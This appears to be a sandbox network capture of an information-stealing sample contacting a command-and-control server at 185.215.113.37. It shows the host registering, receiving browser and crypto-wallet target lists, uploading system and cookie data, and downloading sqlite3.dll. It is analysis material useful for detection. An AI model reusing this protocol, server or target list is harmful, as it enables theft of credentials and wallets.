Oct 25, 2024 13:50:33.792125940 CEST	49712	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	185.215.113.37	80	4420	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 13:50:05.302851915 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 13:50:06.216315985 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:06.219605923 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 39 45 39 32 35 44 30 42 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="hwid"4B9E925D0BAE1301979414------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="build"doma------DGHIECGCBKFHIEBGHDBK--
Oct 25, 2024 13:50:06.518151045 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 32 4d 78 4e 57 4d 30 4d 44 67 33 4d 44 41 78 5a 6a 67 32 5a 57 59 77 4d 6a 68 6a 4f 54 4e 6d 4d 6a 49 7a 4d 32 52 68 4d 57 4d 35 59 54 63 79 5a 57 49 7a 4d 6a 52 6c 4d 6a 64 68 4e 54 49 78 4d 47 4d 7a 5a 44 55 78 4e 57 49 77 4e 6d 51 30 4d 44 55 33 4e 57 49 78 4e 6d 52 69 59 32 59 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: N2MxNWM0MDg3MDAxZjg2ZWYwMjhjOTNmMjIzM2RhMWM5YTcyZWIzMjRlMjdhNTIxMGMzZDUxNWIwNmQ0MDU3NWIxNmRiY2YwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 25, 2024 13:50:06.519345999 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 2d 2d 0d 0a Data Ascii: ------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="message"browsers------IDGDAAKFHIEHIECAFBAA--
Oct 25, 2024 13:50:06.805468082 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 25, 2024 13:50:06.805536032 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 25, 2024 13:50:06.806747913 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 2d 2d 0d 0a Data Ascii: ------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="message"plugins------EHCFBFBAEBKJKEBGCAEH--
Oct 25, 2024 13:50:07.103988886 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:06 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 25, 2024 13:50:07.104034901 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 25, 2024 13:50:07.104072094 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 25, 2024 13:50:07.104105949 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 25, 2024 13:50:07.104140997 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 25, 2024 13:50:07.104176044 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 25, 2024 13:50:07.171925068 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"fplugins------GHDBAFIIECBFHIEBKJJK--
Oct 25, 2024 13:50:07.457433939 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 25, 2024 13:50:07.561635017 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC Host: 185.215.113.37 Content-Length: 6735 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 13:50:07.561683893 CEST	6735	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 25, 2024 13:50:08.426177979 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 13:50:08.426806927 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 13:50:08.711723089 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 11:50:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 25, 2024 13:50:08.711764097 CEST	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 25, 2024 13:50:08.711798906 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 25, 2024 13:50:08.711854935 CEST	1236	IN	Data Raw: 83 ec 0c 85 c0 89 c5 0f 85 5a ff ff ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c Data Ascii: Z\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$
Oct 25, 2024 13:50:13.856182098 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAK Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 